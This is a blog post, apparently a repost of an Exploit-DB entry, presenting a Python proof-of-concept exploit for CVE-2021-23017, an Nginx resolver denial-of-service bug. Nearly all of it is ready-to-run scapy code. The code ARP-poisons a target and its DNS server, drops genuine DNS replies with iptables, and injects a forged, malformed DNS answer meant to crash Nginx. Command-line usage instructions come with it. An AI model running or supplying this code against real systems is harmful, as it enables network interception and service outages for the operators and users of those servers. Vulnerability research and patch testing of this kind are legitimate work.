# Exploit Title: Nginx 1.20.0 – Denial of Service (DOS)
\n# Date: 2022-6-29
\n# Exploit Author: Mohammed Alshehri – https:\/\/Github.com\/M507
\n# Vendor Homepage: https:\/\/nginx.org\/
\n# Software Link: https:\/\/github.com\/nginx\/nginx\/releases\/tag\/release-1.20.0
\n# Version: 0.6.18 – 1.20.0
\n# Tested on: Ubuntu 18.04.4 LTS bionic
\n# CVE: CVE-2021-23017
\n# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
\n# python3 poc.py –target 172.1.16.100 –dns_server 172.1.16.1
\n# The service needs to be configured to use Nginx resolver<\/p>\n
from scapy.all import *
\nfrom multiprocessing import Process
\nfrom binascii import hexlify, unhexlify
\nimport argparse, time, os<\/p>\n
def device_setup():
\nos.system(“echo ‘1’ >> \/proc\/sys\/net\/ipv4\/ip_forward”)
\nos.system(“iptables -A FORWARD -p UDP –dport 53 -j DROP”)<\/p>\n
def ARPP(target, dns_server):
\nprint(“[*] Sending poisoned ARP packets”)
\ntarget_mac = getmacbyip(target)
\ndns_server_mac = getmacbyip(dns_server)
\nwhile True:
\ntime.sleep(2)
\nsend(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
\nsend(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)<\/p>\n
def exploit(target):
\nprint(“[*] Listening “)
\nsniff (filter=”udp and port 53 and host ” + target, prn = process_received_packet)<\/p>\n
“””
\nRFC schema
\n0 1 2 3
\n0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\n| LENGTH | ID |
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\n|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\n| ANCOUNT | NSCOUNT |
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\n| ARCOUNT | QD |
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\n| AN | NS |
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\n| AR |
\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<\/p>\n
Fig. DNS<\/p>\n
“””
\ndef process_received_packet(received_packet):
\nif received_packet[IP].src == target_ip:
\nif received_packet.haslayer(DNS):
\nif DNSQR in received_packet:
\nprint(“[*] the received packet: ” + str(bytes_hex(received_packet)))
\nprint(“[*] the received DNS request: ” + str(bytes_hex(received_packet[DNS].build())))
\ntry:
\n# \\\/ the received DNS request
\ndns_request = received_packet[DNS].build()
\nnull_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
\nprint(“[*] debug: dns_request[:null_pointer_index] : “+str(hexlify(dns_request[:null_pointer_index])))
\nprint(“[*] debug: dns_request[null_pointer_index:] : “+str(hexlify(dns_request[null_pointer_index:])))
\npayload = [
\ndns_request[0:2],
\nb”\\x81\\x80\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00″,
\ndns_request[12:null_pointer_index+1],
\ndns_request[null_pointer_index+1:null_pointer_index+3],
\ndns_request[null_pointer_index+3:null_pointer_index+5],
\nb”\\xC0\\x0C\\x00\\x05\\x00\\x01\\x00\\x00\\x0E\\x10″,
\nb”\\x00\\x0B\\x18\\x41\\x41\\x41\\x41\\x41\\x41\\x41″,
\nb”\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41″,
\nb”\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xC0\\x04”
\n]\n
payload = b””.join(payload)
\nspoofed_pkt = (Ether()\/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)\/\\
\nUDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)\/\\
\npayload)
\nprint(“[+] dns answer: “+str(hexlify(payload)))
\nprint(“[+] full packet: ” + str(bytes_hex(spoofed_pkt)))<\/p>\n
sendp(spoofed_pkt, count=1)
\nprint(“\\n[+] malicious answer was sent”)
\nprint(“[+] exploited\\n”)
\nexcept:
\nprint(“\\n[-] ERROR”)<\/p>\n
def main():
\nglobal target_ip
\nparser = argparse.ArgumentParser()
\nparser.add_argument(“-t”, “–target”, help=”IP address of the target”)
\nparser.add_argument(“-r”, “–dns_server”, help=”IP address of the DNS server used by the target”)
\nargs = parser.parse_args()
\ntarget_ip = args.target
\ndns_server_ip = args.dns_server
\ndevice_setup()
\nprocesses_list = []\nARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
\nexploitProcess = Process(target=exploit,args=(target_ip,))
\nprocesses_list.append(ARPPProcess)
\nprocesses_list.append(exploitProcess)
\nfor process in processes_list:
\nprocess.start()
\nfor process in processes_list:
\nprocess.join()<\/p>\n
if __name__ == ‘__main__’:
\ntarget_ip = “”
\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Nginx 1.20.0 – Denial of Service (DOS) # Date: 2022-6-29 # Exploit Author: Mohammed Alshehri – https:\/\/Github.com\/M507 # Vendor Homepage: https:\/\/nginx.org\/ # Software Link: https:\/\/github.com\/nginx\/nginx\/releases\/tag\/release-1.20.0 # Version: 0.6.18 – 1.20.0 # Tested on: Ubuntu 18.04.4 LTS bionic # CVE: CVE-2021-23017 # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27073","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27073","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27073"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27073\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27073"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27073"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27073"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}